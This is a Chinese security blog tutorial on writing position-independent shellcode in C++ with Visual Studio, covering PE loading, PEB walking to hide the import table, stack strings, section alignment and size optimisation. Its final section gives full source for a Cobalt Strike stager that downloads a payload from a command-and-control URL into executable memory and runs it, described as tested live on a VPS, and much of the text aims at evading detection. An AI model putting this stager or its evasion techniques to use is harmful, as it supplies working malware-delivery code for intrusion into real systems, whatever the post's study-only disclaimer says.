【详细】C++ 直接编写 Shellcode 和使用常量字符串

文摘   2024-11-26 12:07   四川  

免责声明

锦鲤安全的技术文章仅供参考,此文所提供的信息仅供网络安全人员学习和参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。如有侵权烦请告知,我们会立即删除并致歉。本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!谢谢!

前言

使用 VS 通过 C++ 快速简单的编写 Shellcode,并且直接在 Shellcode 中使用常量字符串、全局变量。

本篇包含以下知识点:
  • PE 基础和 Shellcode 编写原理

  • PEB 攀爬完全隐藏导入表

  • 编写一个与 MessageBox 的 Shellcode

  • 在 Shellcode 中使用全局字符串和常量、变量

  • 使用优化压缩 Shellcode 的大小

  • 编写一个 CS Stager 的 Shellcode

一、基础知识  1. PE 文件的基本结构和作用  2. PE 文件加载流程  3. 章节总结二、编写 MessageBox Shellcode  1. 开始  2. 完全隐藏导入表  3. 栈字符串  4. 生成真正的 shellcode三、Shellcode 编写进阶  1. 原因  2. 设置对齐  3. 使用常量字符串和全局常量  4. 使用优化压缩四、编写 Stager五、问题答疑环节最后

一、基础知识

Shellcode 本质就是一段与位置无关的汇编代码。要将 C++ 代码变成 shellcode,首先需要了解一下 PE 文件结构和加载流程。

1. PE 文件的基本结构和作用

PE 文件的基本结构和作用如下图,.text section 中保存了 C++ 的汇编代码,要将 C++ 代码变成 shellcode,一般的方法就用与位置无关的方式来编写 C++ 代码,编译后把 .text section 提取出来就是我们要的 shellcode 了:

由于只提取了 .text section,没有其它 section,意味着不能在 C++ 代码中使用全局字符串、全局常量和变量,shellcode 编写起来比较麻烦。当然,后面会教大家如何解决这些问题,在 shellcode 中使用全局字符串和全局变量。

2. PE 文件加载流程

PE 文件加载的主要流程如下:
  1. 将 PE 文件按照内存结构重新映射进内存中:PE Header 和各个 Section 按照内存偏移映射到内存中

  2. 修复导入表:我们引用的各种 Windows api 会出现在导入表中,在加载时经过修复之后才能调用

  3. 修复重定向表:开启了随机基址之后会构建一张导入表,在加载时通过该表对各个地址进行重定向修正

  4. 修复 tls 重定向、修复 C++ 异常、延迟导入表

  5. 执行入口点

我们直接执行 PE 文件时,这些加载流程是系统自动帮我们加载的,由于我们要编写 shellcode,这些加载步骤都要能省则省,如果都不省略就是 pe 转 shellcode 了,这样就与直接用 pe2shc 没多少区别了,pe2shc 通过在 pe 文件后面加一个引导头的 shellcode 来完成PE 文件的加载流程(完成了 1、2、3、5 的步骤)实现 exe 转 shellcode 的效果。
我们要编写与位置无关的 shellcode,因此直接省略 1-4 步骤,操作如下:
  1. 避免重新映射:直接提取 .text section 作为 shellcode

  2. 避免导入表:在 C++ 代码中避免直接使用任何 Windows API,改成通过 PEB 攀爬动态获取 API

  3. 避免重定向表:在链接器中关闭随机基址

  4. 避免 tls 重定向、修复 C++ 异常、延迟导入:在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入

  5. 执行入口点:入口点则为 main 函数,为保证 shellcode 能正常执行,main 函数必须是在 shellcode 的开头


对于第1点,如下图显示了PE 文件磁盘与内存结构的区别,由于PE 文件磁盘与内存结构不同,因此 PE 加载时需要经过重新映射:

PE 在磁盘中的文件对齐是 0x200,因此 PE Header 和各个 secion 的大小都必须是 0x200 的倍数,而 PE 在内存中的对齐是 0x1000,在内存中PE Header 和各个 secion 的大小都必须是 0x1000 的倍数。

文件对齐和内存对齐的不同导致了 PE 加载时需要重新映射,重新映射后会在 section 中产生间隙。当然,.text section 后面的间隙本质上还是属于 .text section。

我们直接提取了 .text section,没有其它结构,以此避免重新映射。

3. 章节总结

对前面两小节的内容进行一下总结,C++ 编写 shellcode 时需要注意的事项:

  1. 不能使用导入表,在 C++ 代码中使用的所有 Windows API 需要通过 PEB 攀爬动态获取

  2. 不能在 C++ 代码中使用全局字符串、全局常量和变量

  3. 在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入

  4. 将 main 函数设置为入口点并处于 shellcode 开头

  5. 编译时关闭随机基址,避免 shellcode 需要重定向

  6. 编译后提取 .text section 即为我们的 shellcode

二、编写 MessageBox Shellcode

1. 开始

VS 直接开始新建一个控制台工程,写一个 MessageBox:
#include <iostream>#include <Windows.h>
int main(){ MessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);}
运行一下没问题,然后开始改造:

然后我们修改该代码改成使用 GetModuleHandleW 和 GetProcAddress 动态获取 API:
  1. 通过 GetModuleHandle 获取 Kernel32 模块地址

  2. 使用 GetProcAddress 从 Kernel32 模块中获取 LoadLibraryA、GetProcAddress 函数地址

  3. 通过获取的 LoadLibraryA 函数加载 User32 模块

  4. 再从 User32 中获取 MessageBoxA 函数地址

获取到 lpLoadLibraryA 和 lpGetProcAddress 函数地址后,我们就可以通过这两个函数来动态获取其它任何函数的地址了。

#include <iostream>#include <Windows.h>
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR lpLibFileName);typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);typedef int (WINAPI* pMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
int main(){ HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll"); auto lpLoadLibraryA = (pLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA"); auto lpGetProcAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress"); HMODULE hUser32 = lpLoadLibraryA("User32.dll"); auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA"); lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);}
这里需要注意一下,使用 GetProcAddress 函数获取了它自身的地址是为了方面后面的完全隐藏导入表。
运行一下没问题,开始进入下一阶段:

2. 完全隐藏导入表

前一节中,通过 GetModuleHandle 和 GetProcAddress 函数动态获取函数地址,隐藏了部分 api,但是还有 GetModuleHandle 和 GetProcAddress 函数没有隐藏,下面我们自己实现,GetModuleHandle 函数和 GetProcAddress 函数,通过 PEB 攀爬完全隐藏导入表。

首先通过 PEB 攀爬获取 Kernel32 模块的基址,原理如下图:

在线程的线程环境块(TEB)中的 ProcessEnvironmentBlock 字段保存了进程环境块(PEB)地址,然后 PEB 的 Ldr 字段保存了加载到进程中模块的链表,我们通过遍历该链表即可获取到 kernel32 模块的地址,原理很简单。

通过 TEB 获取 PEB,再取得 Ldr 链表,我们就可以自己实现 GetModuleHandle 函数,x86 位线程的 TEB 保存在 fs 段中,x64 线程的 TEB 保存在 gs 段中:
BOOL wcmp(PCWSTR str1, PCWSTR str2) {    for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {        s1 = str1[i];        s2 = str2[i];        if (s1 >= 'A' && s1 <= 'Z') {            s1 += 32;        }        if (s2 >= 'A' && s2 <= 'Z') {            s2 += 32;        }        if (s1 != s2) {            return FALSE;        }    }    return TRUE;}
HMODULE SelfGetModuleHandle(LPCWSTR lpModuleName){#ifndef _WIN64 PPEB peb = (PPEB)__readfsdword(0x30); // x86 的 PEB 在 fs 段的 0x30 处取得#else PPEB peb = (PPEB)__readgsqword(0x60); // x64 的 PEB 在 gs 段的 0x60 处取得#endif PLIST_ENTRY Hdr = &peb->Ldr->InLoadOrderModuleList; PLIST_ENTRY Ent = Hdr->Flink;
for (; Hdr != Ent; Ent = Ent->Flink) { PLDR_DATA_TABLE_ENTRY Ldr = (PLDR_DATA_TABLE_ENTRY)(Ent); if (wcmp(Ldr->BaseDllName.Buffer, lpModuleName)) { return (HMODULE)Ldr->DllBase; }; };
return NULL;};

这里不建议用汇编,能用 C++ 写就直接用 C++ 写,不要在其中穿插汇编,没有什么意义,某些培训班出来的就喜欢在这里穿插一段汇编,一套代码传千年。

下面我们要自己实现 GetProcAddress 函数,流程如下图:

我们通过自己实现的 SelfGetModuleHandle 函数获取得 Kernel32 函数的基址后,基址实际上指向 DOS Header,通过 DOS Header 获取到 NT Header 偏移,通过NT Header 获取到 Optional Header,再通过 Optional Header 的 DataDirectory 数组获取到导出表,通过导出表下的三个数组,AddressOfNames 函数名数组、AddressOfFunctions 函数地址数组、AddressOfNameOrdinals 函数名索引地址数组,即可遍历导出函数。

获取到导出表的三个数组后,首先遍历AddressOfNames 函数名数组,通过字符串比较获取函数名在该数组中的索引 x,然后通过 AddressOfNameOrdinals[x] 即可取得地址索引 y,通过 AddressOfFunctions[y] 即可获取得函数在 kernel32 模块中的导出地址偏移 RVA 了,之后通过 kernel32 基址加上该 RVA 即可得到函数的实际地址了:
BOOL cmp(PCSTR str1, PCSTR str2) {    for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {        s1 = str1[i];        s2 = str2[i];        if (s1 >= 'A' && s1 <= 'Z') {            s1 += 32;        }        if (s2 >= 'A' && s2 <= 'Z') {            s2 += 32;        }        if (s1 != s2) {            return FALSE;        }    }    return TRUE;}
FARPROC SelfGetProcAddress(HMODULE hModule, LPCSTR lpProcName){ PIMAGE_DOS_HEADER Hdr = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS Nth = (PIMAGE_NT_HEADERS)((DWORD_PTR)Hdr + Hdr->e_lfanew); PIMAGE_DATA_DIRECTORY Dir = &Nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (Dir->VirtualAddress) { PIMAGE_EXPORT_DIRECTORY Exp = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Hdr + Dir->VirtualAddress); PDWORD Aon = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfNames); PDWORD Aof = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfFunctions); PWORD Aoo = (PWORD)((DWORD_PTR)Hdr + Exp->AddressOfNameOrdinals);
for (ULONG Idx = 0; Idx < Exp->NumberOfNames; ++Idx) { if (cmp((PCSTR)((DWORD_PTR)Hdr + Aon[Idx]), lpProcName)) { return (FARPROC)((DWORD_PTR)Hdr + Aof[Aoo[Idx]]); }; }; }; return NULL;};
之后将 main 函数中的 GetModuleHandle 和 GetProcAddress 改成我们自己实现的 SelfGetModuleHandle 和 SelfGetProcAddress 函数:
int main(){    HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll");    auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");    auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");    HMODULE hUser32 = lpLoadLibraryA("User32.dll");    auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");    lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);}
OK,现在没有自己调用任何 Windows API,完全隐藏所有导入表了:
运行一下 OK:

3. 栈字符串

下面要处理一下常量字符串,现在用的字符串是保存在 .rdata 中的常量字符串,我们需要改成栈字符串,以将字符串保存到 .text 中,将字符串改成函数内数组就会以栈保存了,当然,只有一定长度内的数组才会以栈保存,大概是长度 255 以内的数组,超过这个长度就会保存在 .data 段中了:
__declspec(code_seg(".text$A")) int main(){    wchar_t sKernel32[] = { 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };    HMODULE hKernel32 = SelfGetModuleHandle(sKernel32);    char sLoadLibraryA[] = { 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00 };    auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, sLoadLibraryA);    char sGetProcAddress[] = { 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00 };    auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, sGetProcAddress);    char sUser32[] = { 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };    HMODULE hUser32 = lpLoadLibraryA(sUser32);    char sMessageBoxA[] = { 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00 };    auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, sMessageBoxA);    char hello[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0xbd, 0xf5, 0xc0, 0xf0, 0xb0, 0xb2, 0xc8, 0xab, 0xa3, 0xa1, 0x00 };    lpMessageBoxA(NULL, hello, hello, MB_OK);}
使用调试器反汇编看一下,可以发现字符串已经变成一条条的 mov 汇编指令了:

但是现在生成的还不是 shellcode,进入下一阶段,生成真正的 shellcode

4. 生成真正的 shellcode

先调成 release 模式:

回顾一下前面章节总结中的几点:

发现 1、2、3 点我们已经完成了,现在需要将 main 函数设置为入口点,并设置为 shellcode 开头。

通过编译器指令 code_seg,将 main 函数设置为 shellcode 的开头:
__declspec(code_seg(".text$A")) int main {}
这段指令的意思是将 main 函数编译时放的 .text 区段的最前面,$ 后面的字母越大越靠前,这里没有其它 code_seg 指令,所以 A 就是最大的了:
然后在链接器高级中将入口点改成 main 函数:

到这里第4点就完成了。

然后再将下面的随机基址改成否完成第5点:
再将一些无用配置给关掉,避免生成一些无用代码影响 shellcode 执行,运行库改成 MT 模式,禁用安全检查:
关闭优化:
关闭调试:
关闭清单:

调完,生成:
使用 PE-bear 看一下,可以发现 .text 开头就是我们的 main 函数,那一串 mov 就是我们的栈字符串:

最后一步提取 shellcode,使用 010editor 选中我们的 .text 区段右键保存为 Save Selection:
保存的这个 2KB 文件就是我们的 shellcode 了:
使用 pe2shc 项目下的 runshc64 测试一下 shellcode,成功弹出:
为测试是否真的与位置无关,我们使用 win2012 的 vps 进行测试,shellcode 运行成功:

三、Shellcode 编写进阶

1. 原因

回顾一下基础知识,聪明的你一定发现了,我们之所以不能在 shellcode 中使用常量字符串和全局常量和变量是因为我们只提取了 .text 区段作为 shellcode,如果我们把 .rdata 和 .data 区段带上不就能在 shellcode 中使用常量字符串和全局常量、变量了吗?

理论是这样的,没错!聪明的你凭借足够深度 PE 知识自然想到了,我们之所以不能带上 .rdata 和 .data 区段,是因为文件对齐和内存对齐的不同,导致如果带上其它区段则需要在内存中按照内存偏移重新映射:
 如果文件对齐与内存对齐相同,则不就避免了内存的重新映射的问题了吗?此时可以带上 .rdata 与 .data 区段而不需要重新申请一块更大的内存就行重新映射,实现了在编写 C++ 代码时使用常量字符串和全局常量、变量,大大减少了编写 shellcode 的一个麻烦:

当然,我们一般只使用常量字符串和全局常量,不使用全局变量,因为使用全局变量意味着执行 shellcode 时需要使用 rwx 权限,我们为了隐蔽性应该尽量避免 rwx 权限。由于不使用全局变量,所以我们只需要携带 .text 和 .rdata 两个区段就足够了。

2. 设置对齐

那么该怎么设置文件对齐和内存对齐呢?
聪明的你一下就找到了方法,通过在【链接器】→【高级】→ 【部分对齐方式】中将值设置为 512 即可:
然后使用 PE-bear 查看,可以发现文件对齐和内存对齐都被设置为了 0x200:
这里会看得更明显,文件中的地址和内存中的地址都是一样的:

接下来只需要提取处 .text 和 .rdata 就是我们的 shellcode 了。

使用 010 editor 选择 .text 的开始地址和 .rdata 的结束地址,右键保存为 Save Selection:

3. 使用常量字符串和全局常量

将字符串改回常量字符串,还有一个全局常量字符串,这个是为了演示的全局常量的需要:
const wchar_t sKernel[] = L"Kernel32.dll";
__declspec(code_seg(".text$A")) int main(){ HMODULE hKernel32 = SelfGetModuleHandle(sKernel); auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA"); auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress"); HMODULE hUser32 = lpLoadLibraryA("User32.dll"); auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA"); lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);}

生成之后提取 .text 和 .rdata 段即可,为了减少 shellcode 的大小,将后面的 00 字节删除:

4. 使用优化压缩

我们可以使用优化进一步压缩 shellcode 大小,使用 O1 优选大小优化:
之后重新提取 shellcode 并删除末尾空字节和一些无用字节,可以进一步压缩到 600 字节:

四、编写 Stager

Stager 加载流程就这,一个远程加载器,没什么可讲的:
根据流程编写 Starger 代码如下,为了生成的 shellcode 尽可能的小,使用了最简单的方式进行加载:
const char url[] = "http://x.x.x.x:80/api/v1/pres";
__declspec(code_seg(".text$A")) int main(){ HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll"); auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA"); auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress"); auto lpVirtualAlloc = (pVirtualAlloc)lpGetProcAddress(hKernel32, "VirtualAlloc");
HMODULE hWininet = lpLoadLibraryA("Wininet.dll"); auto lpInternetOpenA = (pInternetOpenA)lpGetProcAddress(hWininet, "InternetOpenA"); auto lpInternetOpenUrlA = (pInternetOpenUrlA)lpGetProcAddress(hWininet, "InternetOpenUrlA"); auto lpInternetReadFile = (pInternetReadFile)lpGetProcAddress(hWininet, "InternetReadFile");
HINTERNET hInternet = lpInternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET hUrl = lpInternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hUrl) { DWORD content_len = 1024 * 1024 * 5; PUCHAR buf = (PUCHAR)lpVirtualAlloc(0, content_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); DWORD nread; lpInternetReadFile(hUrl, buf, content_len, &nread); if (nread) { ((void(*)())buf)(); } }}
url 路径填 c2profle 中的 http-stager.uri_x64,注意 output 中不要加 prepend 前缀或后缀,否则 C++ 代码中也得做相应的处理:
最终提取 shellcode 大小如下,比原版 stager 略大一点:
在 vps 上测试成功上线:

五、问题答疑环节

1. 自己实现了 SelfGetProcAddress 函数为什么还要再获取 GetProcAddress 函数地址来获取其它函数?
细心的同学可以发现我们自己用 SelfGetProcAddress 获取 GetProcAddress 函数地址,再用获取的 GetProcAddress 地址获取其它函数,为什么不一直使用 SelfGetProcAddress 函数?
当然是可以一直使用 SelfGetProcAddress 函数来获取其它函数的,但是自己实现的 SelfGetProcAddress 并没有处理所有情况,比如转发导出,即一个 dll 的导出函数实际上是指向另一个 dll 的导出函数,这种时候就会出现异常,当然获取大多少函数的时候是没问题的。
2. Shellcode 中可以使用全局变量吗?
Shellcode 中是可以使用全局变量的,虽然我没有演示,但道理是一样的,不过变量保存在 .data 中,这意味着要多提取一个区段将会导致 shellcode 增加 0x200 字节的大小,不过我们可以通过链接器指令强制将变量保存在 .rdata 以避免增加一个区段的大小。
3. Shellcode 为什么要避免空字节?

可以使用空字节,不知道哪流传出来的写 shellcode 不能有空字节节...,除了某些利用缓冲区溢出漏洞利用的是 strcpy 等函数注入 shellcode 之外,大部分时候是不需要避免空字节的。

最后

本篇文章主要是以自己对 PE 的理解以自己的方式来编写 Shellcode。在 shellcode 中使用常量字符串在国外早有这一方面研究的文章了,但是国内还没有这一方面的文章,因此自己来写一篇。

长按-识别-关注

锦鲤安全

一个安全技术学习与工具分享平台

点分享

点收藏

点点赞

点在看

棉花糖fans
原公众号棉花糖网络安全圈,更新网络安全相关内容,网络安全吧、渗透测试吧的吧主
 最新文章